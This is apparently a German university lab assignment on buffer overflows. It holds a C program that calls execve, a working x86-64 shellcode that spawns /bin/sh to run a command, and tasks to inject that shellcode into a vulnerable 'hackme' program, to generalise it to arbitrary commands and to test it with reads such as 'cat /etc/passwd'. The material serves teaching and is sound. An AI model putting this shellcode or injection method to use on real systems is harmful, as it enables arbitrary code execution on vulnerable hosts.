Das Ziel dieses Praktikums ist die Vertiefung der Kenntnisse zu Buffer Overflows.

1 Analyse eines C Programms

Ausgangspunkt für die erste Aufgabe ist das folgende C Programm:

```c
#include <unistd.h>

int main() {
    char *cmd[] =  { "/bin/sh", "-c", "ls -l", (char*)0 };
    int ret;

    ret = execve(cmd[0], cmd, NULL);

    return ret;
}
```

Aufgabe 1.

a) Implementieren Sie das C Programm und führen Sie es aus.

b) Beschreiben Sie die Funktionsweise des C Programms.

c) Analysieren Sie unter Verwendung des GNU Debuggers die Funktionsweise des Programms. Beantworten Sie insbesondere folgende Fragen:

- Wie werden die Parameter an die Funktion `execve()` übergeben?
- Wie und an welcher Stelle werden die übergebenen Parameter im Speicher abgelegt?
- Welche Daten befinden sich beim Aufruf von `execve()` im Stack Frame?

d) Dokumentieren Sie Ihre Erkenntnisse. Nutzen Sie dabei Screenshots mit den Debugging Ausgaben.

2 Ein interessanter Shellcode

Im Internet ist folgender Shellcode gefunden worden:

```
bits 64

section .text
    global _start

_start:
    xor rcx, rcx
    push rcx
    mov rcx, 0x68732f6e69622fff
    shr rcx, 8
    push rcx
    push rsp
    pop rdi

    xor rcx, rcx
    push rcx
    push word 0x632d
    push rsp
    pop rbx

    xor rcx, rcx
    push rcx
    jmp command

execve:
    pop rdx
    push rdx
    xor byte [rdx+5], 0x41
    push rbx
    push rdi
    push rsp
    pop rsi

    xor rdx,rdx
    mov al, 59
    syscall

command:
    call execve
    data: db "ls -lA"
```

Aufgabe 2.

a) Analysieren Sie den Shellcode.

b) Beschreiben Sie detailliert, wie der Shellcode arbeitet.

c) Implementieren Sie den Shellcode und übersetzen Sie ihn in eine Binärdatei.

d) Entwickeln Sie ein Python-Skript, um den Shellcode über das Programm `hackme` auszuführen.

e) Dokumentieren Sie Ihre Erkenntnisse und die von Ihnen durchgeführten Arbeiten.

Hinweis: Es gibt einen Zusammenhang zwischen Aufgabe 1 und Aufgabe 2.

3 Ausbau des Shellcodes

Im folgenden soll der Shellcode ausgebaut werden, um ein beliebiges Programm auszuführen. Hierzu muss der Shellcode an zwei Stellen modifiziert werden. Um flexibel zu sein, werden die Modifikationen automatisiert mit einem Python Programm durchgeführt.

Aufgabe 3.

a) Erstellen Sie auf Basis des Skripts von Aufgabe 2 ein neues Python-Skript, mit dem ein beliebiges Programm ausgeführt wird. Das Programm inklusive Parameter soll dabei als String innerhalb des Skripts gespeichert werden.

b) Testen Sie Ihr Skript, indem Sie folgende Befehle ausführen:

- `ls -a -t /usr/bin`
- `ps ax`
- `cat /etc/passwd`

c) Dokumentieren Sie die von Ihnen durchgeführten Arbeiten.